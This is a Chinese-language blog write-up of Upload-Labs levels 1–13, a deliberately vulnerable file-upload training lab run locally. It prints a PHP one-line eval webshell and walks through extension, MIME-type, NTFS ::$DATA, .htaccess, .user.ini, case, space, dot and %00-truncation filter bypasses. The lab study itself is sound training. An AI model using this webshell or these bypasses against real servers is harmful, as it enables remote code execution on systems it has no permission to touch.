• 《Upload-Labs》01. Pass 1~13



    靶场部署在 VMware - Win7。

    靶场地址:https://github.com/c0ny1/upload-labs

    部分题目可能需要白盒审计。

    索引

    • Pass-01:前端绕过。
    • Pass-02:MIME-Type 绕过。
    • Pass-03:黑名单绕过之 ::$DATA 与双写绕过。
    • Pass-04.htaccess 利用。
    • Pass-05.user.ini 利用。
    • Pass-06:黑名单绕过之大小写绕过。
    • Pass-07:黑名单绕过之空格绕过。
    • Pass-08:黑名单绕过之点【.】绕过。
    • Pass-09:黑名单绕过之 ::$DATA 绕过。
    • Pass-10:黑名单绕过之点空格点绕过。
    • Pass-11:黑名单绕过之双写绕过。
    • Pass-12:白名单绕过之 %00 截断绕过,GET 方式。
    • Pass-13:白名单绕过之 %00 截断绕过,POST 方式。

    前言

    编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。

     
    	echo 'Hello!';
    	@eval($_POST['hello']);
    ?>
    
    • 1
    • 2
    • 3
    • 4

    请添加图片描述

    相关文章:

    《一句话木马@eval($_POST[“cmd“]);是什么意思》
    https://blog.csdn.net/qq_62708558/article/details/123030828

    Pass-01

    题解

    任何前端验证都是纸老虎。

    上传时使用 burp 拦截,并将文件后缀修改回 .php

    在这里插入图片描述

    上传成功,右键查看文件地址。

    在这里插入图片描述

    木马已成功执行。

    在这里插入图片描述

    尝试蚁剑连接,成功。

    在这里插入图片描述

    Pass-02

    题解

    上传文件并进行后缀与 Content-Type 绕过。

    在这里插入图片描述

    上传成功。

    在这里插入图片描述

    总结

    MIME-Type,资源媒体类型。

    MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。

    • MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
    • 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
    • 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
      • 例如:Content-Type: text/html
    • 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。

    常见的 MIME 类型

    • 超文本标记语言文本(.html、.htm):
      text/html
    • 普通文本(.txt):
      text/plain
    • RTF 文本(.rtf):
      application/rtf
    • GIF 图形(.gif):
      image/gif
    • JPEG 图形(.jpeg、.jpg):
      image/jpeg
    • au 声音文件(.au):
      audio/basic
    • MIDI 音乐文件(.mid、.midi):
      audio/midi, audio/x-midi
    • RealAudio音乐文件(.ra、.ram):
      audio/x-pn-realaudio
    • MPEG 文件(.mpg, .mpeg):
      video/mpeg
    • AVI 文件(.avi):
      video/x-msvideo
    • GZIP 文件(.gz):
      application/x-gzip
    • TAR 文件(.tar):
      application/x-tar

    Pass-03

    题解

    之前的方法均失败。不过仍然是黑名单过滤。

    由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA

    上传成功但无法访问。

    在这里插入图片描述

    猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):

    .php::$D::$DATAATA
    
    • 1

    在这里插入图片描述

    上传成功。

    在这里插入图片描述

    总结

    ::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。

    NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。

    Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。

    例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php

    除此以外,服务端对不合法的后缀名进行替换为空是常用手段。

    Pass-04

    题解

    这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。

    创建一个 .htaccess 文件并写入以下内容。

    <FilesMatch "520.jpg">
    	SetHandler application/x-httpd-php
    </FilesMatch>
    
    • 1
    • 2
    • 3

    先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。

    但是失败了。可能实现条件比较苛刻。

    这里附上几篇参考文章:

    《文件上传-uploadlab通关手册》
    https://blog.csdn.net/qq_51153463/article/details/124547943

    《upload-labs通关总结|那些年踩过的坑》
    https://blog.csdn.net/m0_56691564/article/details/127614557

    Pass-05

    题解

    已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。

    先上传如下 .user.ini 文件。

    auto_prepend_file=520.jpg
    
    • 1

    在这里插入图片描述

    再上传木马,之后访问 readme.php 文件即可。

    在这里插入图片描述

    总结

    参考文章:

    《【文件上传漏洞】user.ini留后门》
    https://blog.csdn.net/weixin_53146913/article/details/124840296

    《文件上传:.user.ini的妙用》
    https://blog.csdn.net/weixin_52635170/article/details/126962920

    Pass-06

    题解

    上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

    在这里插入图片描述

    之后复制链接访问即可。

    总结

    对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。

    Pass-07

    题解

    使用空格绕过。

    抓包修改后缀名,在文件名最后加上一个空格。

    在这里插入图片描述

    之后访问即可。

    总结

    Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

    如果这样命名,系统在保存时会默认去除末尾的空格和点。

    Pass-08

    题解

    使用点绕过。在文件名最后加上一个点。

    在这里插入图片描述

    上传成功。

    总结

    Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

    如果这样命名,系统在保存时会默认去除末尾的空格和点。

    Pass-09

    题解

    原理与 Pass-03 相同,::$DATA 绕过。

    在这里插入图片描述

    Pass-10

    题解

    点空格点绕过(利用验证规则不完善)。

    在这里插入图片描述

    Pass-11

    题解

    双写绕过。

    在这里插入图片描述

    服务端对不合法的后缀名进行替换为空是常用手段。

    Pass-12

    题解

    这题通过代码审计可以发现发现 $img_path 变量可控。

    使用 %00 截断,让后面的代码不执行。

    在这里插入图片描述

    在这里插入图片描述

    总结

    %00 截断:

    • 利用手动添加字符串标识符的方式来将后面的内容进行截断。
    • PHP <= 5.3.4。
    • php.ini 文件中 magic_quotes_gpc = Off。

    Pass-13

    题解

    与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。

    POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。

    在这里插入图片描述

    在这里插入图片描述


    为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。

    ——《刘子》(北齐)刘子

  • 相关阅读:
    Shell 脚本循环遍历日志文件中的值进行求和并计算平均值,最大值和最小值
    1-7Vmware中的快照与克隆
    租用网站服务器的六大指标
    【ubuntu系统-部署MySQL】
    Jetpack Compose学习(8)——State及remeber
    操作系统小练习 任务管理器
    MOOC 大数据Note
    图片上传流程&前端上传文件&后端保存文件&并返回图片地址
    【学习】应急响应
    香港 Web3 的分岔路口:to 创新 or to 监管,这并不是一个问题
  • 原文地址:https://blog.csdn.net/KeepPromise/article/details/133420375